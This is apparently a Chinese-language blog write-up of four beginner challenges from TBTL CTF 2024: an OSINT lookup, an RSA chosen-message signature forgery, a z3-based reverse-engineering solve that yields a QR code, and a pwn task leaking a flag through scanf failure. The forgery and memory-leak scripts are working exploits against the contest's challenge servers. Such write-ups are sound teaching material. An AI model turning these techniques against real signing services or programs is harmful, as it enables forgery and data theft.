前言 在 discord 上认识了一群来自世界各地的 ctfer,不过大家都不是什么老赛棍,just ctf for fun! 有人在频道里提议参加TBTL CTF 2024 ,然后就组了个队。比赛时间2天,实际上没什么时间打,做了几个方向的新手友好题。不过队里有个哥们 web 方向 3/4,最后队伍排名36。
Tower of Babel 这是一道简单的社工题。
mp3 文件里有这道题的提示:
该标志的格式如常,我们的合作伙伴云海连锁控股有限公司总部位于海南岛海口附近。找到距离他们的办事处最近的银行。标志内的内容是该银行的统一社会信用代码。代码已以91开始,以56结束。
首先搜这家公司,可以通过这个网站 找到其地址,打开高德地图搜索“云海链8831栋”可以找到该公司位置,然后再搜周边——银行,可以看到最近的银行是海南澄迈农村商业银行股份有限公司科技支行。
然后我们搜索其社会信用代码 ,得到91469027MA5TRBAW56
。
因此 flag 为 TBTL{91469027MA5TRBAW56}
。
Wikipedia Signatures 这是一道非常简单的数字签名攻击题目。我们的目标是获取bytes_to_long(b'I challenge you to sign this message!')
的数字签名。同时,我们可以提供任何消息给签名者进行数字签名,因此很容易想到这是 RSA 数字签名中的选择消息攻击 。
我们假设m = bytes_to_long(b'I challenge you to sign this message!')
,我们的目标是获取其数字签名:
$$ s = m^{d};mod;n$$
首先,我们让签名者为任意选择的消息 m1
进行签名(这里我选用m1 = bytes_to_long(b'BeaCox')
),获取对应的签名:
$$s_1=m_{1}^{d};mod;n$$
然后,我们计算
$$m_2:=m⋅m_{1}^{−1};mod;n$$
并让签名者为其签名,得到
$$s_2=m_2^d;mod;n$$
由于
$$s≡s1⋅s2≡m_1^d⋅m_2^d≡m_1^d⋅(m⋅m_1^{-1})^d≡m_1^d⋅m^d⋅m_1^{-d}≡m^d;(mod;n)$$
我们很容易得到
$$s=s1⋅s2;mod;n$$
利用代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *from Crypto.Util.number import inverse, bytes_to_longp = remote('0.cloud.chals.io' , 31148 ) def find_m2 (m, n, m1 ): m1_inv = inverse(m1, n) m2 = (m * m1_inv) % n return m2 def get_n (): p.recvuntil(b"RSA public key: (" ) n = p.recvuntil(b"," , drop=True ) p.recvuntil(b'Sign any other message using wikipedia-RSA' ) return int (n) def menu (): p.recvuntil(b'> ' ) def sign (message ): menu() p.sendline(f'2 {message} ' .encode()) return int (p.recvline().strip()) def win (signature ): menu() p.sendline(f'1 {signature} ' .encode()) m = bytes_to_long(b'I challenge you to sign this message!' ) n = get_n() m1 = bytes_to_long(b'BeaCox' ) m2 = find_m2(m, n, m1) s1 = sign(m1) s2 = sign(m2) signature = (s1 * s2) % n win(signature) p.interactive()
Floo Powder 这是一道简单的逆向题。从 ida 获取静态的数组,然后根据反编译的代码写 z3 的约束,编写 python 脚本来得到正确的输入。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *from z3 import *data = [ 0x04CA4952 , 0x69745A2A , 0x434A2A90 , 0x36D0A9C7 , 0x1002DAC8 , 0x04933AEB , 0x71A29525 , 0x6DA8D531 , 0x69259680 , 0x2179213C , 0x5D8A6097 , 0x6ACA2822 , 0x5495ED02 , 0x255A2CD5 , 0x16B5625A , 0x2E8A8ABA , 0x2D6F5EB4 , 0x557CD952 , 0x2CB4E495 , 0x020D29B9 , 0x0E8B2854 , 0x4646C159 , 0x47749281 , 0x54229D46 , 0x6C1CD620 , 0x07F80EFF , 0x04AD46A4 , 0x32EBC04E , 0x4FAC1623 , 0x600E1F04 , 0x24CD3000 ] input = [BitVec(f"input{i} " , 1 ) for i in range (31 *31 )]s = Solver() def important_func (o_i, i_i, count ): s.add((input [31 * o_i + i_i] == 1 ) == (((data[count // 31 ] >> (31 - count % 31 - 1 )) & 1 ) != 0 )) outside_index = 0 inside_index = 0 count = 0 v9 = 1 while (outside_index < 31 and inside_index < 31 ): important_func(outside_index, inside_index, count) count += 1 if v9 == 1 : v10 = outside_index - 1 v11 = inside_index + 1 else : v10 = outside_index + 1 v11 = inside_index - 1 if v10 < 0 or v10 == 31 or v11 < 0 or v11 == 31 : if v9 == 1 : outside_index += inside_index == 30 inside_index += inside_index < 30 else : inside_index += outside_index == 30 outside_index += outside_index < 30 v9 = 1 - v9 else : outside_index = v10 inside_index = v11 flag = "" if s.check() == sat: m = s.model() for i in range (31 *31 ): flag += str (m[input [i]]) print (flag)
我们会得到一个 31*31 的由0和1组成的矩阵:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 0000000000000000000000000000000 0111111100100011010010011111110 0100000101101100111100010000010 0101110100111001100001010111010 0101110101101010111100010111010 0101110100010110000001010111010 0100000101010011100001010000010 0111111101010101010101011111110 0000000000000100110111000000000 0111110111110110001011101010100 0001001010100010010001111111100 0101000110101111111101001100000 0100110011111000100100100110100 0001010101101010101111001011000 0000011001110110011001000101000 0111000100100011101001010111000 0111110001010100010000011110110 0100101111000111000000000110100 0101101000100011011011101110100 0100011100011101101001111011000 0101100011011001100001101010100 0100100100111000110001111101000 0000000001010110000111000101000 0111111101100011110011010100000 0100000100000110010101000100000 0101110101000101101101111111110 0101110101000000010011101110110 0101110101111100100111011100100 0100000101101001110010101000100 0111111101111000111110011111000 0000000000000000000000000000000
可以看到这个矩阵的周围一圈都是0,如果把周围这一圈0都去掉,那么就是一个29*29的矩阵。把0看成白色,1看成黑色,那么这个矩阵看起来就是一个29*29的第三代二维码,写脚本将01矩阵转换为二维码图片:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from PIL import ImageMAX = 31 pic = Image.new("RGB" ,(MAX, MAX)) i=0 for y in range (0 ,MAX): for x in range (0 ,MAX): if (flag[i] == '1' ): pic.putpixel([x,y],(0 , 0 , 0 )) else : pic.putpixel([x,y],(255 ,255 ,255 )) i = i+1 pic.show() pic.save("flag.png" )
扫描二维码就可以获得 flag 。
Enough with the averages 这是一道利用了scanf函数特性的pwn题。
这道题允许我们输入20个4字节长的整数,然后输出这20个整数的平均值。但是存储这些整数的内存区域含有先前读取的flag。
这个程序使用20个 __isoc99_scanf("%d", &v3[i]);
来读取我们的输入。如果我们输入了一个字符,那么从此以后的scanf都会直接返回-1,导致对应内存区域的4字节为原来的值,最终导致内存泄漏。
我的想法是:首先输入19个0,然后输入一个a,就可以得到目标内存区域的第20个4字节(data[19]);然后启动另一个程序,输入18个0,然后输入一个a,就可以得到data[18]+data[19],计算可得data[18],依次类推可以得到目标区域的所有20*4个字节。然后就可以重构出flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import *context.binary = binary = ELF('./chall' ) context.log_level = 'critical' numbers = [0 ] * 20 sum = 0 def input (number ): p.sendlineafter(b':' , number) def recv_average (): p.recvuntil(b'Average score is ' ) byte_string = p.recvline().strip()[:-1 ] return float (byte_string) for i in range (16 ): p = remote('0.cloud.chals.io' , 10198 ) zeros = 19 - i print (f'zeros: {zeros} ' ) for _ in range (zeros): input (b'0' ) input (b'a' ) average_score = recv_average() print (f'average_score: {average_score} ' ) tmp = sum sum = average_score * 20 numbers[zeros] = int (sum - tmp) if numbers[zeros] < 0 : numbers[zeros] = 0x100000000 + numbers[zeros] print (f'numbers[{zeros} ]: {hex (numbers[zeros])} ' ) p.close() flag = b'' for i in range (4 , 20 ): char1 = numbers[i] & 0xff char2 = (numbers[i] >> 8 ) & 0xff char3 = (numbers[i] >> 16 ) & 0xff char4 = (numbers[i] >> 24 ) & 0xff flag += bytes ([char1, char2, char3, char4]) print (flag)
总结 Fun!!! 感谢主办方,难度梯度做得很好。
条评论